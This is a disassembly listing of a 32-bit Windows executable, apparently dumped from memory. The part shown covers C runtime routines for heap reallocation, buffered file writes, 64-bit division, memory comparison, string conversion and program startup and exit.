		jz	short loc_4193FA
		and	byte ptr [eax],	0

loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------

loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	loc_41958F

loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_48B680
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi

loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h

loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542

loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi

loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2710000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi

loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h

loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567

loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi

loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		call	near ptr 2830000h
		nop
		mov	edi, eax

loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588

loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_48A074, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------

loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi

loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_43B7E4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------

loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi

loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h

loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588

loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2710000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi

loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2830000h
		mov	edi, eax

loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588

loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_48A074, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------

loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi

loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_4196EA

loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_48A074, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA

loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax

loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------

loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------

loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax

loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------

loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE

loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------

loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx

loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5

loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------

loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1

loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]

loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------

loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi

loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2690000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 2650C45h
		push	eax
		call	sub_41EF44
		pop	ecx

loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_48A014, 0Dh
		mov	dword_48A018, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------

loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6

loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi

loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi

loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A

loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D

loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------

loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh

loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0

loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax

loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F88+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3

loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9

loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_48A0A8, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3

loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------

loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		call	near ptr 2650C45h
		nop
		cmp	eax, 7Ah
		jz	short loc_419A44

loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_4395A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax

loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C

loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------

loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_48A0A8, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2620000h
		cmp	eax, esi
		jz	short loc_419A35

loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax

loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AB8	proc near		; CODE XREF: ___:00419C77p
		mov	eax, off_43956C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73

loc_419AC3:				; CODE XREF: sub_419AB8+7j
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
sub_419AB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AE5	proc near		; CODE XREF: ___:00419CB6p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: ___:00419CD5p
					; sub_419CDA+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: sub_419AE5+8p
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_48A05C, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		nop
		call	near ptr 2780F4Fh
		push	eax
		nop
		call	near ptr 27E0C8Eh

loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_48A058, edi
		mov	byte_48A054, bl
		jnz	short loc_419B78
		mov	eax, dword_48B69C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_48B698
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66

loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax

loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_48B69C
		jnb	short loc_419B53

loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi

loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx

loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_48A05C, edi
		nop
		call	near ptr 77E75CB5h

loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: sub_419AB8+15p
					; sub_419AB8+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax

loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------

loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 27D0BEDh
		test	eax, eax
		jnz	short loc_419BD0
		call	near ptr 2650C45h
		nop
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------

loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax

loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:0A09DDAA9h
		pop	es
		add	[ebx], al
		jmp	short loc_419C28
; ---------------------------------------------------------------------------
		dw 12F5h
		dd 647A811Eh, 0A1h, 89645000h, 25h, 58EC8300h, 89575653h
		dd 0E890E865h, 2427E08h, 0D48AD233h, 0A02C1589h, 0C88B0048h
		dd 0FFE181h, 0D890000h,	48A028h
; ---------------------------------------------------------------------------

loc_419C28:				; CODE XREF: ___:00419BECj
		shl	ecx, 8
		add	ecx, edx
		mov	dword_48A024, ecx
		shr	eax, 10h
		mov	dword_48A020, eax
		xor	esi, esi
		push	esi
		call	sub_41ACE4
		pop	ecx
		test	eax, eax
		jnz	short loc_419C50
		push	1Ch
		call	sub_419CFF
		pop	ecx

loc_419C50:				; CODE XREF: ___:00419C46j
		mov	[ebp-4], esi
		call	sub_41F5BF
		call	near ptr 2841A04h
		nop
		mov	dword_48B68C, eax
		call	sub_41F48D
		mov	dword_48A060, eax
		call	sub_41F240
		call	sub_41F187
		call	sub_419AB8
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		nop
		call	near ptr 2840000h
		call	sub_41F12F
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_419C9D
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_419CA0
; ---------------------------------------------------------------------------

loc_419C9D:				; CODE XREF: ___:00419C95j
		push	0Ah
		pop	eax

loc_419CA0:				; CODE XREF: ___:00419C9Bj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	near ptr 2720D85h
		nop
		push	eax
		call	sub_40E6A9
		mov	[ebp-60h], eax
		push	eax
		call	sub_419AE5
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41EFAB
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_419AF6

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; sub_41F187+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_48A068, 1
		jnz	short loc_419CE8
		call	sub_41F84C

loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_439590
		pop	ecx
		pop	ecx
		retn
